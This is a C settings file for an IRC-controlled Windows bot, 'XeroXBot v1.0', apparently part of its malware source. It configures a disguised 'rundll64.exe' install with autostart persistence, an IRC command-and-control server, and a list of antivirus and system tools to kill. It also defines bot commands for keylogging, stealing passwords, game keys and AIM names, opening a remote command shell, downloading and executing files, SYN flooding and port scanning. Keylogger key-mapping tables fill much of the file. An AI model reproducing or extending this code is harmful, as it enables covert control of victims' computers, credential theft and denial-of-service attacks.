

///////////////////bots settings/////////////////////


char filename[] = "rundll64.exe"; //filename
char password[] = "qazwsxedcrfvtgbyhnujmikolp"; //bot pw
char channel[] = "#tossed"; //chan joins
char channelpass[] = ""; //chan pw
const int maxlogins = 3; //logins
char valuename[] = "Windows Config"; //autostart
int decryptkey = 9; //decrypt
char mutexname[] = "xxid"; //botcode. Must be changed. Only one bot with the same mutex will run.
char Bot_Version[] = "1.0";
BOOL topiccommands = TRUE; //topic commands
int Flood_delay = 2000; //in msec avoid flood
#define rawcommands_after_connect;
#define rawcommands_after_join;
#define meltserver;
#define remote_cmd;
#define Use_Firewall_killer;
#define SYN_FLOOD; //synflooder
#define MAX_PORTSCAN_SOCKETS_TO_USE 30 //sockets
#define GIVE_PING_REPLY; //ping reply
#define GIVE_VERSION_REPLY; //version reply
#define USE_IDENT_SERVER;

#ifdef GIVE_VERSION_REPLY
const char VERSION_REPLY[] = "XeroXBot v1.0 coded by XeroX";
#endif

//servers

char *ircservers[]={
	"irc.nac.net",
	"",
	NULL //dont remove this line
};

//ports

int serverports[]={
	6667,
	6667,
};

//rawcommands

#ifdef rawcommands_after_connect
char *rawcommands[]={
	"MODE $NICK +i",
	NULL //dont remove this line
};
#endif

//onjoincommands

#ifdef rawcommands_after_join
char *onjoin_commands[]={
	"MODE $CHAN +ntspm",
	//"MODE $CHAN +k key",
	NULL //dont remove this line
};
#endif

//Hostname Match

//#define use_hostname_match;


#ifdef use_hostname_match
char *trustedhosts[]={
	"",
	NULL //dont remove this line
};
#endif

//#define use_ident_match;

//ident

#ifdef use_ident_match
char *trustedidents[]={
	"",
	"",
	NULL
};
#endif


#define use_nickname_match;


#ifdef use_nickname_match
char *trustednicks[]={
	"XecurID",
	"",
	NULL
};
#endif

//AV an Firewall

#ifdef Use_Firewall_killer

int killer_delay = 2000;

//filenames in uppercase
char *kill_list[]={
	"NETSTAT.EXE",
	"MSCONFIG.EXE",
	"REGEDIT.EXE",
	"TASKMAN.EXE",
	"NAVAPW32.EXE",
	"MMC.EXE",
	"NAVAPW.EXE",
	"TASKMGR.EXE",
	"MSANTIV32.EXE",
	"DUMP3-2INI.EXE",
	"MSTASK.EXE",
	"TASKMON.EXE",
	NULL //dont remove this line
};
#endif


const char login_command[] = 		"!login";
const char info_command[] = 		"!info";
const char passwords_command[] = 	"!pass";
const char threads_command[] = 		"!threads";
const char killthread_command[] = 	"!killthread";
const char startkeylogger_command[] = 	"!startlog";
const char stopkeylogger_command[] = 	"!stoplog";
const char listprocesses_command[] = 	"!listproc";
const char killprocess_command[] = 	"!killproc";
const char disconnect_command[] = 	"!discon";
const char reconnect_command[] = 	"!recon";
const char server_command[] = 		"!server";
const char quit_command[] = 		"!quit";
const char reboot_command[] = 		"!reboot";
const char uninstall_command[] = 	"!unin-";
const char httpserver_command[] = 	"!http-*";
const char redirect_command[] = 	"!redirect";
const char raw_command[] = 		"!raw";
#ifdef SYN_FLOOD
const char syn_command[] = 		"!syn";
#endif
const char list_command[] = 		"!list";
const char delete_command[] = 		"!delete";
const char rename_command[] = 		"!rename";
const char execute_command[] = 		"!execute";
const char makedir_command[] = 		"!makedir";
const char spy_command[] = 		"!spy";
const char stopspy_command[] = 		"!sspy";
const char redirect_spy_command[] = 	"!redspy";
const char redirect_stopspy_command[] = "!sredspy";
#ifdef remote_cmd
const char opencmd_command[] = 		"!opencmd";
const char cmd_command[] = 		"!cmd";
#endif
const char get_command[] = 		"!get";
const char sendto_command[] = 		"!sendto";
const char scan_command[] = 		"!scan";
const char gamekeys_command[] =	"!halflife";
const char gamekeysCS_command[] =	"!cstrike";
const char aimnames_command[] =	"!aim";
const char about_command[] = "!about";
const char uptime_command[] = "!uptime";
const char gamekeysWIN_command[] =	"!win";


/* Clone fucntion taken from Trusouljas spybot*/

const char clonesend_command[] = 		"!clones"; //command the clones re: clones join #chan or clones privmsg #chan :hi
const char clone_command[] = 		"!clone"; //load the clones syntax: loadclones <server> <port> <number> (max 50)
const char quitclones_command[] = 		"!killclones"; //unload the clones
const char cprefix[] = 		"flood"; //clones names

char *startupdirs[]={
	"Documents and Settings\\All Users\\Start Menu\\Programs\\Startup",
	"Dokumente und Einstellungen\\All Users\\Start Menu\\Programs\\Startup",
	"Documenti e Impostazioni\\All Users\\Start Menu\\Programs\\Startup",
	"WINDOWS\\Start Menu\\Programs\\Startup",
	"WINNT\\Profiles\\All Users\\Start Menu\\Programs\\Startup",
	"WINDOWS\\All Users\\Start Menu\\Programs\\StartUp",
	"Documents and Settings\\All Users\\Menu Start\\Programma's\\Opstarten",
	NULL
};


/////////////////// end bots settings//////////////////////////

//keylogger an sendkeys
int inputL[]={
	8,
	13,
	27,
	112,
	113,
	114,
	115,
	116,
	117,
	118,
	119,
	120,
	121,
	122,
	123,
	192,
	49,
	50,
	51,
	52,
	53,
	54,
	55,
	56,
	57,
	48,
	189,
	187,
	9,
	81,
	87,
	69,
	82,
	84,
	89,
	85,
	73,
	79,
	80,
	219,
	221,
	65,
	83,
	68,
	70,
	71,
	72,
	74,
	75,
	76,
	186,
	222,
	90,
	88,
	67,
	86,
	66,
	78,
	77,
	188,
	190,
	191,
	220,
	17,
	91,
	32,
	92,
	44,
	145,
	45,
	36,
	33,
	46,
	35,
	34,
	37,
	38,
	39,
	40,
	144,
	111,
	106,
	109,
	107,
	96,
	97,
	98,
	99,
	100,
	101,
	102,
	103,
	104,
	105,
	110,
};

char *outputL[]={
	"b",
	"e",
	"[ESC]",
	"[F1]",
	"[F2]",
	"[F3]",
	"[F4]",
	"[F5]",
	"[F6]",
	"[F7]",
	"[F8]",
	"[F9]",
	"[F10]",
	"[F11]",
	"[F12]",
	"`",
	"1",
	"2",
	"3",
	"4",
	"5",
	"6",
	"7",
	"8",
	"9",
	"0",
	"-",
	"=",
	"[TAB]",
	"q",
	"w",
	"e",
	"r",
	"t",
	"y",
	"u",
	"i",
	"o",
	"p",
	"[",
	"]",
	"a",
	"s",
	"d",
	"f",
	"g",
	"h",
	"j",
	"k",
	"l",
	";",
	"'",
	"z",
	"x",
	"c",
	"v",
	"b",
	"n",
	"m",
	",",
	".",
	"/",
	"\\",
	"[CTRL]",
	"[WIN]",
	" ",
	"[WIN]",
	"[Print Screen]",
	"[Scroll Lock]",
	"[Insert]",
	"[Home]",
	"[Pg Up]",
	"[Del]",
	"[End]",
	"[Pg Dn]",
	"[Left]",
	"[Up]",
	"[Right]",
	"[Down]",
	"[Num Lock]",
	"/",
	"*",
	"-",
	"+",
	"0",
	"1",
	"2",
	"3",
	"4",
	"5",
	"6",
	"7",
	"8",
	"9",
	".",
};

char *outputH[]={
	"b",
	"e",
	"[ESC]",
	"[F1]",
	"[F2]",
	"[F3]",
	"[F4]",
	"[F5]",
	"[F6]",
	"[F7]",
	"[F8]",
	"[F9]",
	"[F10]",
	"[F11]",
	"[F12]",
	"~",
	"!",
	"@",
	"#",
	"$",
	"%",
	"^",
	"&",
	"*",
	"(",
	")",
	"_",
	"+",
	"[TAB]",
	"Q",
	"W",
	"E",
	"R",
	"T",
	"Y",
	"U",
	"I",
	"O",
	"P",
	"{",
	"}",
	"A",
	"S",
	"D",
	"F",
	"G",
	"H",
	"J",
	"K",
	"L",
	":",
	"\"",
	"Z",
	"X",
	"C",
	"V",
	"B",
	"N",
	"M",
	"<",
	">",
	"?",
	"|",
	"[CTRL]",
	"[WIN]",
	" ",
	"[WIN]",
	"[Print Screen]",
	"[Scroll Lock]",
	"[Insert]",
	"[Home]",
	"[Pg Up]",
	"[Del]",
	"[End]",
	"[Pg Dn]",
	"[Left]",
	"[Up]",
	"[Right]",
	"[Down]",
	"[Num Lock]",
	"/",
	"*",
	"-",
	"+",
	"0",
	"1",
	"2",
	"3",
	"4",
	"5",
	"6",
	"7",
	"8",
	"9",
	".",
};

/* pass list for devil spread */
#ifdef DEVIL_SPREADER
char *passwords[]={
	"",
"",
"ADMINISTRATOR",
"",
	NULL
};
#endif

